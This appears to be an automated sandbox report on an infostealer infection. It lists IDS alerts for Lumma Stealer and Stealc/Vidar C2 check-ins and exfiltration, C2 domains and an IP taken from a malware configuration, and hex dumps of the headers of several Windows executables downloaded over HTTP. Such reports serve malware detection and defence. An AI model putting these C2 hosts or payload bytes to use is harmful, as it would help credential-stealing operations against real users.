Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49817 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49817 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49823 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49823 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49840 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.8:49974 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49939 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:50038 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.8:50102 -> 116.203.12.114:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.12.114:443 -> 192.168.2.8:50110
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.12.114:443 -> 192.168.2.8:50119
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:50747 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:50747 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:50744 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:50744 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:50769 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:50778 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:50774 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: shineugler.biz
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 45

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:16:11 GMTContent-Type: application/octet-streamContent-Length: 2283768Last-Modified: Mon, 16 Dec 2024 11:00:52 GMTConnection: keep-aliveETag: "67600864-22d8f8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 78 5f 63 ed 3c 3e 0d be 3c 3e 0d be 3c 3e 0d be 88 a2 fc be 31 3e 0d be 88 a2 fe be b2 3e 0d be 88 a2 ff be 24 3e 0d be 9d 49 f0 be 3e 3e 0d be 9d 49 09 bf 2f 3e 0d be 9d 49 0e bf 2b 3e 0d be 9d 49 08 bf 08 3e 0d be 35 46 8e be 37 3e 0d be 35 46 9e be 3b 3e 0d be 3c 3e 0c be 29 3f 0d be c9 49 08 bf 0d 3e 0d be c9 49 0d bf 3d 3e 0d be c9 49 f2 be 3d 3e 0d be c9 49 0f bf 3d 3e 0d be 52 69 63 68 3c 3e 0d be 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8d bf 20 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 1c 03 00 00 fe 03 00 00 00 00 00 30 f5 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 07 00 00 04 00 00 00 00 00 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 d0 03 00 34 00 00 00 a4 d0 03 00 50 00 00 00 00 40 06 00 f8 df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 07 00 3c 23 00 00 1c b1 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 55 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 03 00 78 02 00 00 ec c5 03 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dc 1b 03 00 00 10 00 00 00 1c 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 ae 00 00 00 30 03 00 00 b0 00 00 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 20 47 02 00 00 e0 03 00 00 10 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 90 01 00 00 00 30 06 00 00 02 00 00 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 df 00 00 00 40 06 00 00 e0 00 00 00 e2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 23 00 00 00 20 07 00 00 24 00 00 00 c2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:16:20 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Sat, 14 Dec 2024 21:12:38 GMTConnection: keep-aliveETag: "675df4c6-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b0 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 e2 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 76 6d 78 6b 6f 62 00 80 19 00 00 f0 2e 00 00 7a 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 64 61 77 61 6c 6d 68 00 10 00 00 00 70 48 00 00 04 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 48 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:16:28 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Mon, 16 Dec 2024 11:36:53 GMTConnection: keep-aliveETag: "676010d5-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4a 00 00 04 00 00 e2 07 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 68 71 62 62 6a 77 66 00 20 1a 00 00 d0 2f 00 00 20 1a 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 6a 62 79 69 65 79 00 10 00 00 00 f0 49 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:16:37 GMTContent-Type: application/octet-streamContent-Length: 1822720Last-Modified: Mon, 16 Dec 2024 11:36:47 GMTConnection: keep-aliveETag: "676010cf-1bd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 0b 36 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 6c 69 67 77 6a 63 00 30 1a 00 00 90 4f 00 00 2a 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6e 7a 6b 64 6f 63 65 00 10 00 00 00 c0 69 00 00 06 00 00 00 a8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 69 00 00 22 00 00 00 ae 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:16:45 GMTContent-Type: application/octet-streamContent-Length: 969728Last-Modified: Mon, 16 Dec 2024 11:34:42 GMTConnection: keep-aliveETag: "67601052-ecc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 43 10 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 87 9c 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 e8 61 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 61 01 00 00 40 0d 00 00 62 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 56 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 12:16:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:16:53 GMTContent-Type: application/octet-streamContent-Length: 2850304Last-Modified: Mon, 16 Dec 2024 11:35:10 GMTConnection: keep-aliveETag: "6760106e-2b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 